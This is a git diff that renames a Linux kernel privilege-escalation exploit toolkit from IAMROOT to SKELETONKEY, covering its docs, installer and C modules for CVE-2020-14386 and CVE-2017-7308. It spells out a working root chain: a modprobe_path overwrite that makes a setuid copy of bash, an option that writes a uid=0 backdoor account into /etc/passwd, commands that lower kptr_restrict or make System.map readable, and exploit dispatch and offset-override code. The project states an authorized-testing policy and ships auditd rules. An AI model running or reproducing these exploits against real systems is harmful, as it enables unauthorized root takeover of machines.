`skeletonkey --scan` against your fleet's golden images to confirm
each known CVE shows up as patched.
## Not-acceptable use
IAMROOT should not be used:
SKELETONKEY should not be used:
1. On systems you do not own and have not been authorized to test
2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
4. To build a worm, scanner, or any tool that automatically targets
systems at scale without per-target authorization
By using IAMROOT you assert that your use falls into the
By using SKELETONKEY you assert that your use falls into the
acceptable-use cases above.
## Why this is publishable
Every CVE bundled in IAMROOT is:
Every CVE bundled in SKELETONKEY is:
- **Already patched** in upstream mainline kernel
- **Already published** in NVD or distro security trackers
- **Already covered** by existing public PoCs
IAMROOT does not introduce new offensive capability. It bundles,
SKELETONKEY does not introduce new offensive capability. It bundles,
documents, and CI-tests what is already public — and ships the
detection signatures defenders need to spot it.
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
## Disclosure
If you find a bug in IAMROOT itself (incorrect detection, broken
If you find a bug in SKELETONKEY itself (incorrect detection, broken
exploit on a kernel where it should work, missing a backport in the
range metadata): file a public GitHub issue.
If you find a **new 0-day kernel LPE while inspired by reading
IAMROOT code**: please disclose it responsibly to the kernel
SKELETONKEY code**: please disclose it responsibly to the kernel
security team (`security@kernel.org`) and the affected distros
*before* writing a public PoC. Once upstream patch ships and a CVE
is assigned, IAMROOT will gladly accept the module.
is assigned, SKELETONKEY will gladly accept the module.
## Persistence and stealth are out of scope
`--exploit-backdoor` in the copy_fail module overwrites a
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules IAMROOT ships
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules SKELETONKEY ships
- `--cleanup-backdoor` restores the original line
If you're looking for evasion, persistence, or stealth: not here.
Use a real C2 framework if you have authorization to do so. IAMROOT
Use a real C2 framework if you have authorization to do so. SKELETONKEY
stops at "demonstrate that the bug works."
+27 -27
View File
@@ -1,20 +1,20 @@
# IAMROOT — kernel offset resolution
# SKELETONKEY — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default `--exploit` returns
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it.
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
converts the primitive to a real root pop via `modprobe_path` overwrite:
```
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/iamroot-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
→ caller exec /tmp/iamroot-pwn-<pid> -p
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
→ root shell
```
@@ -27,14 +27,14 @@ address) at runtime.
non-zero value for each field:
1. **Environment variables** — operator override.
- `IAMROOT_KBASE=0x...`
- `IAMROOT_MODPROBE_PATH=0x...`
- `IAMROOT_POWEROFF_CMD=0x...`
- `IAMROOT_INIT_TASK=0x...`
- `IAMROOT_INIT_CRED=0x...`
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `IAMROOT_CRED_OFFSET_EFF=0x...`
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
- `SKELETONKEY_KBASE=0x...`
- `SKELETONKEY_MODPROBE_PATH=0x...`
- `SKELETONKEY_POWEROFF_CMD=0x...`
- `SKELETONKEY_INIT_TASK=0x...`
- `SKELETONKEY_INIT_CRED=0x...`
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
OR you're already root. On modern distros (kptr_restrict=1 by
@@ -60,18 +60,18 @@ non-zero value for each field:
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline:
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
iamroot --exploit nf_tables --i-know --full-chain
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Automated dump (preferred for upstreaming)
`iamroot --dump-offsets` walks the four-source chain itself and emits
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout:
```bash
sudo iamroot --dump-offsets
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
sudo skeletonkey --dump-offsets
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c.
@@ -88,21 +88,21 @@ sudo iamroot --dump-offsets
```
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
and the new entry covers every IAMROOT user on that kernel. Open a
and the new entry covers every SKELETONKEY user on that kernel. Open a
PR to upstream it.
### Per-host (write System.map readable)
```bash
sudo chmod 0644 /boot/System.map-$(uname -r)
iamroot --exploit nf_tables --i-know --full-chain
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Per-boot (lower kptr_restrict)
```bash
sudo sysctl kernel.kptr_restrict=0
iamroot --exploit nf_tables --i-know --full-chain
skeletonkey --exploit nf_tables --i-know --full-chain
```
Note: each of these requires root *once*. For a true non-root LPE on
@@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
## Verifying success
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
payload. The finisher polls for this file with `S_ISUID` mode set
for up to 3 seconds. Only when the sentinel materializes does the
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
the setuid bash to drop a root shell.
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer
BIN
View File
Binary file not shown.
+29 -29
View File
@@ -1,19 +1,19 @@
#!/usr/bin/env bash
# IAMROOT one-shot installer.
# SKELETONKEY one-shot installer.
#
# Usage:
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
#
# Or with explicit version:
# IAMROOT_VERSION=v0.1.0 curl ... | sh
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
#
# Or install to a different prefix:
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
#
# Environment:
# IAMROOT_VERSION release tag (default: latest)
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
# SKELETONKEY_VERSION release tag (default: latest)
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
#
# Exit codes:
# 0 — installed successfully
@@ -21,9 +21,9 @@
set -euo pipefail
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
VERSION="${IAMROOT_VERSION:-latest}"
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${SKELETONKEY_VERSION:-latest}"
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -40,11 +40,11 @@ log "detected arch: $target"
# Resolve version → download URL
if [ "$VERSION" = "latest" ]; then
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
else
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
fi
log "downloading from: $url"
@@ -56,18 +56,18 @@ fi
tmp=$(mktemp -d)
trap 'rm -rf "$tmp"' EXIT
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
fi
# Verify checksum if available
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
# The .sha256 file has the binary's original name; normalize for our local copy
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
if command -v sha256sum >/dev/null 2>&1; then
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
elif command -v shasum >/dev/null 2>&1; then
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
else
actual=""
log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +83,17 @@ else
log "no checksum file at $sha_url — skipping verification"
fi
chmod +x "$tmp/iamroot"
chmod +x "$tmp/skeletonkey"
# Install. Try $PREFIX directly; if not writable, sudo.
target_path="$PREFIX/iamroot"
target_path="$PREFIX/skeletonkey"
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
mv "$tmp/iamroot" "$target_path"
mv "$tmp/skeletonkey" "$target_path"
elif command -v sudo >/dev/null 2>&1; then
log "$PREFIX needs sudo; you may be prompted for password"
sudo mv "$tmp/iamroot" "$target_path"
sudo mv "$tmp/skeletonkey" "$target_path"
else
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
fi
ok "installed: $target_path"
@@ -104,10 +104,10 @@ cat >&2 <<EOF
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
Quickstart:
sudo iamroot --scan # what's this box vulnerable to?
sudo iamroot --audit # broader system hygiene
sudo iamroot --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
sudo skeletonkey --scan # what's this box vulnerable to?
sudo skeletonkey --audit # broader system hygiene
sudo skeletonkey --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
See \`iamroot --help\` for all commands.
See \`skeletonkey --help\` for all commands.
EOF
+1 -1
View File
@@ -20,7 +20,7 @@ reachable.
## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope.
+2 -2
View File
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## IAMROOT role
## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet2_cve_2020_14386 IAMROOT module
* af_packet2_cve_2020_14386 SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same
@@ -10,12 +10,12 @@
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
* behavior kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,7 +43,7 @@
* before backport. Embedded systems with 4.x kernels still in production.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -75,7 +75,7 @@
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
* Provide empty stubs so syntax checks pass without Linux headers.
* The exploit path is gated at runtime on the kernel version anyway,
* so the stubs are never reached on macOS targets. */
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
/* The primitive run; executed inside the unshare()'d child. Returns
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
* at the kernel level (setsockopt rejected our crafted ring)". */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
if (bring_up_lo() < 0) {
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#else /* !__linux__: provide a stub for macOS sanity builds */
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We
* land reliably from a single skeletonkey run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct iamroot_ctx *ictx;
const struct skeletonkey_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports
* loop in skeletonkey_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
iamroot_result_t pre = af_packet2_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet2_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
/* Defense in depth — the dispatcher should have gated this. */
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
pid_t pid = fork();
if (pid < 0) {
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet2: primitive child crashed "
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
WTERMSIG(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
switch (WEXITSTATUS(status)) {
case 3:
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
"appears patched at runtime\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 2:
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 4:
if (!ctx->json) {
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
"(scope = PRIMITIVE-DEMO)\n"
" For end-to-end root, see Or Cohen's public PoC "
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
" skeletonkey intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_packet2");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
WEXITSTATUS(status));
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
}
static const char af_packet2_auditd[] =
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
"# non-root via userns is the canonical footprint.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
const struct iamroot_module af_packet2_module = {
const struct skeletonkey_module af_packet2_module = {
.name = "af_packet2",
.cve = "CVE-2020-14386",
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet2(void)
void skeletonkey_register_af_packet2(void)
{
iamroot_register(&af_packet2_module);
skeletonkey_register(&af_packet2_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
#define AF_PACKET2_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet2_module;
#endif
+2 -2
View File
@@ -16,14 +16,14 @@ Original advisory + writeup:
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## IAMROOT role
## SKELETONKEY role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`IAMROOT_AFPACKET_OFFSETS` env var.
`SKELETONKEY_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
@@ -1,12 +0,0 @@
/*
* af_packet_cve_2017_7308 — IAMROOT module registry hook
*/
#ifndef AF_PACKET_IAMROOT_MODULES_H
#define AF_PACKET_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_packet_cve_2017_7308 IAMROOT module
* af_packet_cve_2017_7308 SKELETONKEY module
*
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs i.e.
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
@@ -58,7 +58,7 @@
* skb in the OOB slot" approach.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&af_packet_range, &v);
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] af_packet: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
* They will NOT match custom-compiled kernels.
*
* Override at runtime via env var:
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
*
* `task_cred` = offsetof(struct task_struct, cred)
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
0x800, 0x08, 0xa8 },
};
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
* the known table by kernel version. Returns true on success. */
static bool resolve_offsets(struct af_packet_offsets *out,
const struct kernel_version *v)
{
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
if (env) {
unsigned long t, u, s;
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
out->cred_size = s;
return true;
}
